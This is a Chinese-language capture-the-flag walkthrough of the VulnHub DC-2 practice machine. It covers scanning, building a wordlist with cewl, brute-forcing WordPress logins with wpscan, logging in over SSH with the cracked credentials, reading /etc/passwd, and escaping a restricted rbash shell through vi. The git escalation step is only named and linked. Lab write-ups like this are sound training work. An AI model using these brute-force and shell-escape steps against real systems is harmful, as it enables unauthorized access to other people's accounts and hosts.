前言

这篇文章是vulnhub靶场DC系列复现的第二篇,需要用到的知识点,如下

  • 字典生成工具cewl(flag2)
  • wpsacn(flag2)
  • rbash逃逸(flag4)
  • git提权(flag5)

靶机地址:DC: 2 ~ VulnHub

靶场描述(官网机翻)

与DC-1非常相似,DC-2是另一个专门构建的易受攻击的实验室,目的是在渗透测试领域获得经验。

与最初的DC-1一样,它的设计考虑了初学者的需求。

Linux技能和熟悉Linux命令行是必须的,基本的渗透测试工具的一些经验也是如此。

就像DC-1一样,有五个标志,包括最终标志。

同样,就像DC-1一样,这些标志对初学者来说很重要,但对那些有经验的人来说并不那么重要。

简而言之,唯一真正重要的标志是最终的标志。

对于初学者来说,谷歌是你的朋友。好吧,除了所有的隐私问题等等。

我还没有探索所有实现root的方法,因为我放弃了我一直在研究的先前版本,除了基本的操作系统安装之外,我开始了全新的工作。

信息收集

1.靶场搭建环节跟DC1一样流程,在搭建好靶机后,将靶机网络环境改为NAT模式。使用nmap对网段进行存活主机检测,其中IP为192.168.211.132的主机确定为DC2靶机

image-20220617111523670

2.使用nmap对靶机端口和服务进行扫描,靶场开放80端口和7744端口分别是http服务和ssh服务,可以看到hhtp服务所用的是非常常见的wordpress的cms。(这里第一次扫描会无法解析服务,需要修改hosts文件使IP地址和域名能解析)

1
echo '192.168.211.132 dc-2' >> /etc/hosts     

image-20220617111813678

漏洞利用

flag1

访问web服务得到flag1

image-20220617112507878

flag2

4.根据flag1提示cewl工具(kali自带),这个工具是通过扫面网站关键字生成密码本

1
cewl http://dc-2 -w out.txt    

5.密码表有了,那么就应该爆破了,目标这个网站一看用的就是 wordpress,默认的登录地址一般是 /wp-admin/wp-login.php,这里可以使用burp+out.txt的组合爆破还可以使用wpscan(一款专门针对wordperss的扫描工具,kali自带)

1
2
wpscan --url http://dc-2 --enumerate u
wpscan --url http://dc-2 --passwords out.txt

爆破出两个账户密码

image-20220617113139307

5.使用账户密码登录wp后台获取flag2

image-20220617113258418

1
2
3
If you can't exploit WordPress and take a shortcut, there is another way.

Hope you found another entry point.

机翻

1
2
3
如果你无法利用 WordPress 并采取捷径,那还有另一种方法。

希望你找到另一个入口点。

flag 提示,如果 wordpress 打不下来,就得换一个入口

flag3

既然他说了此路不通,那我们就换一个方向,既然我们这里得到了两个账户密码,尝试使用其登录ssh

1
ssh tom@192.168.141.136 -p 7744

登录成功后发现目录下存在flag3.txt,但是cat无法读取,rbase是受限制的shell环境,使用自动补全命令compgen -c

可以看到我们能使用 less 和 vi ,less 查看 flag3

1
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

机翻

1
可怜的老 Tom 总是追随 Jerry。 也许他应该承受自己造成的所有压力。

这里提示了之前爆破出的2个 web 用户,会不会 linux 也有这2个用户?查看 passwd 文件

1
less /etc/passwd

image-20220617114036457

可见 jerry 用户存在,那么下面就是 rbash 逃逸–>提权

flag4

【渗透测试】— rbash逃逸方法简述_通地塔的博客-CSDN博客_/bin/rbash

使用 vi 进行逃逸

1
2
3
4
5
6
7
8
# vim/vi进入之后
:set shell=/bin/sh # 或者用/bin/bash
:shell

# 切换完成之后还要添加环境变量。给$PATH变量增加两个路径,用来查找命令
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/

ok,现在是正常的 shell 环境了,在提权之前,尝试登录 jerry 用户

1
su jerry

image-20220617114709773

获得flag4

1
2
3
4
5
6
7
Good to see that you've made it this far - but you're not home yet.

You still need to get the final flag (the only flag that really counts!!!).

No hints here - you're on your own now. :-)

Go on - git outta here!!!!

机翻

1
2
3
4
5
6
7
很高兴看到你已经做到了这一点-但你还没有回家。

你仍然需要获得最终标志(唯一真正重要的标志!!!)。

这里没有提示-你现在就一个人了。 :-)

继续-git outta here !!!!

这里提到了 git,那么就用它提权

flag5

git提权方法_小郭学安全的博客-CSDN博客_git提权

image-20220617115001633